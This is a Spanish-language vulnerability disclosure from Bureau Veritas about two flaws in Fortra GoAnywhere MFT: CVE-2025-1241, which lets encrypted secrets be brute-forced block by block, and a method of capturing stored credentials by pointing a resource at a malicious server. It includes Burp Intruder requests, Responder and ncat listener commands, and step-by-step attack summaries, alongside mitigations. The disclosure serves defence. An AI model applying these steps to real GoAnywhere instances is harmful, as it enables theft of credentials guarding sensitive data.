Desglose de la vulnerabilidad: Descifrado de secretos de Fortra GoAnywhere CVE

> NOTICIAS > Desglose de la vulnerabilidad: Descifrado de claves secretas de Fortra GoAnywhere CVE

Autor: Robin Wolters

Consultor de ciberseguridad de OT e IT || CRTO, OSCP, GICSP

El 7 de enero de 2025, Robin Wolters, de Bureau Veritas Cybersecurity, descubrió dos vulnerabilidades en Fortra GoAnywhere MFT (software de transferencia segura de archivos gestionada), una de las cuales recibió recientemente el número CVE-2025-1241.

La versión utilizada durante estas pruebas es GoAnywhere versión 7.6.0 Build 44.

La página del producto de GoAnywhere MFT menciona que el software puede utilizarse para proteger datos confidenciales, como información médica protegida (PHI), información de identificación personal (PII) e información de tarjetas, tanto en tránsito como en reposo. Esto significa que una vulnerabilidad podría dar lugar a la compromisión o la alteración de estos datos confidenciales en los clientes del software GoAnywhere MFT.

Las vulnerabilidades identificadas dan lugar a la exposición de secretos que se almacenan cifrados. La primera vulnerabilidad permite a un atacante aplicar un ataque de fuerza bruta a cualquier secreto cifrado almacenado debido a una debilidad en el mecanismo de cifrado utilizado. El mecanismo cifra los secretos utilizando un cifrado por bloques, en bloques de 8 caracteres. Debido a esto, los intentos de fuerza bruta sobre los secretos cifrados pueden realizarse en bloques de 8, lo que limita la longitud efectiva del secreto original. El uso de una contraseña de 24 caracteres implicaría que se deben someter a fuerza bruta tres bloques de 8 caracteres en lugar de una sola contraseña de 24 caracteres. La vulnerabilidad también permitía a un atacante determinar la longitud aproximada del secreto, con una precisión de hasta el tamaño del bloque, lo que limitaba aún más la solidez del cifrado. A esta se le ha asignado el número CVE-2025-1241.

La segunda vulnerabilidad permite a un atacante obtener credenciales en texto plano del sistema para recursos configurados previamente. Los recursos pueden configurarse con cuentas para la autenticación en el recurso remoto. La contraseña de esta cuenta no se muestra al usuario tras la configuración inicial, solo puede sustituirse por una nueva. Sin embargo, al editar la dirección de destino del recurso, la autenticación del mismo puede redirigirse a un servidor bajo el control de un atacante. Con la configuración adecuada, este servidor malicioso puede configurarse para recopilar las credenciales de la autenticación, lo que da como resultado la contraseña en texto plano o las credenciales en un formato específico del servicio. A esta vulnerabilidad no se le ha asignado un CVE, ya que es inherente a la forma en que se utilizan los secretos.

Escenario 1:
ataque de fuerza bruta a los secretos

Al investigar el portal de administración de GoAnywhere, apareció la herramienta de cifrado. Esta herramienta permitía a un administrador cifrar contraseñas en texto plano para utilizarlas de forma segura como variables en los proyectos. Al experimentar con la herramienta de cifrado se obtuvieron resultados interesantes:

12345678
1234567812345678
123456781234567812345678
12345678123456781234567812345678

Lo que dio como resultado las siguientes cadenas cifradas:

*1:/lBhXoui/lbmKb2cHuO/3xXz9swI+mIDl5y4Eqd+YpY=
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
9LsBl4QwBERxDQskrElu8Q==
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
NujLGzJ6+WlTMvkm0rmyBHJrN7SkayXSc02t0/DwaG8=

El hecho de que la parte inicial de la cadena cifrada ya no cambie puede indicar el uso de un cifrado por bloques. Esto significaría que un secreto podría descifrarse en bloques de 8 caracteres, en lugar de tener que aplicar un ataque de fuerza bruta al secreto completo, lo que limitaría gravemente la eficacia de la longitud de la contraseña.

Se comprobó si la aplicación utilizaba estas cadenas cifradas. Sin embargo, la instancia que se estaba investigando no utilizaba las cadenas cifradas en variables, tal y como se sugería. Se inspeccionaron otros lugares, como los archivos de configuración de la aplicación. Un ejemplo fue el archivo database-2024-11-21-14-19-17.xml, que contenía una cadena cifrada para la conexión a la base de datos:

*1:1ijs[REDACTADO]THKA== 

La longitud aproximada de esta contraseña puede determinarse gracias al cifrado por bloques utilizado. Utilizando la herramienta de cifrado, se añaden nuevos caracteres a la cadena de texto sin cifrar hasta que el resultado cifrado coincide con la longitud de la cadena cifrada ( 91):

1234567
*1:nxdAwBailruj46Be4+DAyA==
12345678
*1:/lBhXoui/lbmKb2cHuO/3xXz9swI+mIDl5y4Eqd+YpY=
123456781234567
*1:/lBhXoui/lbmKb2cHuO/35xmPTRyVcQYUZi/EXzZvVY=
1234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x
123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
9LsBl4QwBERxDQskrElu8Q==
1234567812345678123456781
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
jZmTjkbe912yN/xOHF4j1A==
1234567812345678123456781234567
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
CeobjfYj3HF2rsDkX/0udg==
12345678123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
NujLGzJ6+WlTMvkm0rmyBHJrN7SkayXSc02t0/DwaG8=

Esto indica que la entrada original estaría entre 24 (123456781234567812345678) y 31 ( 1234567812345678123456781234567) caracteres.

Se puede encontrar otro ejemplo en la conexión de recursos. Aunque la aplicación no mostraba las cadenas cifradas en la consola web, era posible leerlas exportando la configuración de un recurso. Se creó un nuevo recurso de servidor SSH para la prueba de concepto de un ataque de fuerza bruta contra una cadena cifrada:

POST /goanywhere/resources/ConfigureResource.xhtml HTTP/1.1
Host: il-vbu.acp.kvk.nl:9000
Cookie: ASESSIONID=[...]
Content-Type: application/x-www-form-urlencoded

resourceForm%3AbtnSave=&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3A
j_id_45%3A2%3Ata=&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id_4
5%3A3%3Atf=10.30.50.66&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj
_id_45%3A4%3Atf=8022&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id
_45%3A5%3Atf=Secura&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id_
45%3A6%3Aef_pwd_hinput=44332211112233441324&[...]

Se ha descargado la configuración del recurso:

<?xml version="1.0" encoding="UTF-8" ?>

    Secura testserver
	Default
    
    10.30.XX.XX
    8022
	Secura
    <password>*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/
XgGCEHBSSLVnh

Mediante el método explicado anteriormente, fue posible determinar la longitud aproximada de la contraseña, que se situaba entre 16 y 24 caracteres:

123456781234567
*1:/lBhXoui/lbmKb2cHuO/35xmPTRyVcQYUZi/EXzZvVY=
1234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x
44332211112233441324
*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh
12345678123456781234567
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9FTti437Mrc8Lm9kAqI5/YK
123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
9LsBl4QwBERxDQskrElu8Q==

La herramienta de cifrado se utilizó en combinación con Burp Intruder para aplicar un ataque de fuerza bruta a la cadena cifrada. Como se ha mencionado, el ataque de fuerza bruta era posible en secciones de 8 caracteres. Así pues, en lugar de tener que descifrar una contraseña de 24 caracteres, fue posible descifrar 3 contraseñas de un máximo de 8 caracteres. El conjunto de caracteres se limitó únicamente a números, ya que se trataba de un ataque de fuerza bruta en línea contra un sistema en funcionamiento.

La primera sección se descifró observando los primeros 24 caracteres de la salida cifrada:

*1:5hiwElHNzJKgMS5gDUVO0wgSYOvW7qH5dXA/Pi73oGI=
Image in image block

Se descifró la primera sección de la contraseña

Posteriormente, el texto sin cifrar se añadió a la configuración del intruso delante de la siguiente sección para aplicar un ataque de fuerza bruta.

javax.faces.partial.ajax=true&javax.faces.source=j_id_26_a&
javax.faces.partial.execute=%40all&javax.faces.partial.render=j_id_28%3A
j_id_2b%3AencryptedOutput&j_id_26_a=j_id_26_a&j_id_28%3Aj_id_2b%3A
input_hinput=44332211§INPUT§&[...]

Se aplicó un ataque de fuerza bruta a la siguiente sección hasta que se encontró una coincidencia con los primeros 45 caracteres de la cadena cifrada.

*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh

El enfoque para la última sección fue ligeramente diferente, ya que no podíamos saber si la contraseña tenía 16 o 23 caracteres. Esto significa que fue necesario aplicar un ataque de fuerza bruta a todas las longitudes comprendidas entre 1 y 7:

Image in image block

Configuración de Burp Intruder utilizada para descifrar la sección final

Finalmente, también se descifró la última parte de la contraseña:

Image in image block

Se descifró la sección final de la contraseña

Resumen

Esta vulnerabilidad permite a un atacante descifrar mediante fuerza bruta los secretos utilizados en la aplicación en bloques de 8 caracteres. Esto limita la resistencia efectiva del secreto utilizado y permite a un atacante obtener acceso a recursos configurados, tales como servidores SSH, bases de datos, recursos compartidos de archivos u otros. Los siguientes pasos resumen el proceso:

  • Recuperar un secreto cifrado de la aplicación; por ejemplo, leyendo un archivo de configuración o exportando un recurso.
  • Autenticarse en el portal con privilegios suficientes para acceder a la herramienta de cifrado.
  • Determinar la longitud aproximada del secreto utilizando la herramienta de cifrado.
  • Utilice el método de su elección para aplicar un ataque de fuerza bruta al secreto a través de la herramienta de cifrado. Esto podría realizarse utilizando Hydra, Burp Intruder o un script del cliente.
  • Aplicar un ataque de fuerza bruta a cada bloque del secreto cifrado para recuperar el secreto original en texto plano.

A continuación se incluye una puntuación CVSS como indicación de la vulnerabilidad descubierta:

Image in image block

Puntuación CVSS 3.1 indicativa de este escenario

Mitigación

Actualice la aplicación a la versión 7.10.0. Este parche se publicó el 20 de abril de 2026. En general, limite el número de administradores basándose en el principio del privilegio mínimo para evitar el acceso a este tipo de vulnerabilidades.

Escenario 2:
transmisión de secretos en texto plano

Los recursos se pueden configurar en el portal de administración, como servidores SSH o recursos compartidos de red. Estos recursos suelen requerir credenciales que pueden almacenarse. No es posible leer la contraseña (cifrada) desde la interfaz web:

Image in image block

La contraseña cifrada de un recurso permanece oculta al usuario

Un usuario con privilegios suficientes puede modificar los recursos. Al cambiar la dirección del servidor de un recurso compartido de red, el intento de autenticación puede redirigirse del servidor original a un servidor malicioso. El servidor malicioso podría supervisar las autenticaciones entrantes para capturarlas, por ejemplo, con Responder:

$ sudo responder -I eth0 -A

[+] Servidores:
    Servidor SMB                 [ACTIVADO]

[+] A la espera de eventos...                                                        
[+] Responder está en modo de análisis. No se contaminarán las solicitudes NBT-NS, LLMNR ni MDNS.
[...]
[SMB] Cliente NTLMv2-SSP   : 10.7.255.101
[SMB] Nombre de usuario NTLMv2-SSP : TEST\secura
[SMB] Hash NTLMv2-SSP     : secura::TEST:6a6c638bcaee13bb:A5FF[...]0000

Este hash puede utilizarse posteriormente en un ataque de fuerza bruta fuera de línea para recuperar la contraseña configurada del recurso. Alternativamente, algunos servicios podrían permitir el envío de contraseñas que no es necesario descifrar. Un ejemplo serían los servidores HTTP(S). Se creó un nuevo servidor HTTP para la prueba de concepto y se utilizó la función «Test» para probar la conexión, enviando así la contraseña almacenada a través de la conexión HTTP:

Image in image block

Se probó la conexión del servidor HTTP, enviando la contraseña

El servidor malicioso recibió la siguiente conexión del cliente GoAnywhere:

$ ncat -lvp 8000
Ncat: Versión 7.94SVN ( https://nmap.org/ncat )
Ncat: Escuchando en [::]:8000
Ncat: Escuchando en 0.0.0.0:8000
Ncat: Conexión desde 10.7.255.101:16047.
GET / HTTP/1.1
Conexión: cerrar
Autorización: Basic VGVzdDp0ZXN0cGFzc3dvcmQ=
Agente de usuario: Jakarta Commons-HttpClient/3.1
Host: 10.30.50.66:8000

El código base64 se descodificó en el nombre de usuario y la contraseña originales:

Test:testpassword

Resumen

Esta vulnerabilidad permite a un atacante recuperar secretos sin cifrar de la aplicación que normalmente se almacenan de forma cifrada. Dependiendo del protocolo utilizado, estos secretos pueden recibirse en texto plano o en un formato específico del protocolo. Los siguientes pasos resumen el proceso:

  • Autentíquese en el portal con privilegios suficientes para acceder a los recursos.
  • Seleccione un protocolo y un recurso como objetivo.
  • Configure un servidor malicioso capaz de comunicarse a través del protocolo de destino y que recopile los datos de autenticación; por ejemplo, se puede utilizar Responder para recopilar datos SMB.
  • Edite el recurso para redirigir la dirección de destino al servidor malicioso.
  • Utilice la función de prueba para recibir un intento de autenticación sin guardar la nueva configuración.

A continuación se incluye una puntuación CVSS como indicación de la vulnerabilidad descubierta:

Image in image block

Puntuación CVSS 3.1 indicativa de este escenario

Mitigación

No habrá ninguna actualización disponible para prevenir este método. Mitigar este comportamiento dificultaría la administración de la aplicación y la haría menos intuitiva para el usuario. Una posible solución sería permitir añadir certificados a la configuración para garantizar la identidad del servidor de destino. En general, limite el número de administradores basándose en el principio del privilegio mínimo para evitar el acceso a este tipo de vulnerabilidades.

Image in image block

¿Por qué elegir la ciberseguridad de Bureau Veritas?

Bureau Veritas Cybersecurity es su socio experto en ciberseguridad. Ayudamos a las organizaciones a identificar riesgos, reforzar sus defensas y cumplir con las normas y regulaciones de ciberseguridad. Nuestros servicios abarcan personas, procesos y tecnología, desde la formación en materia de concienciación y la ingeniería social hasta el asesoramiento en seguridad, el cumplimiento normativo y las pruebas de penetración.

Operamos en entornos de TI, TO e IoT, y damos soporte tanto a sistemas digitales como a productos conectados. Con más de 300 profesionales de la ciberseguridad en todo el mundo, combinamos una profunda experiencia técnica con una presencia global. Bureau Veritas Cybersecurity forma parte del Bureau Veritas Group, líder mundial en pruebas, inspección y certificación.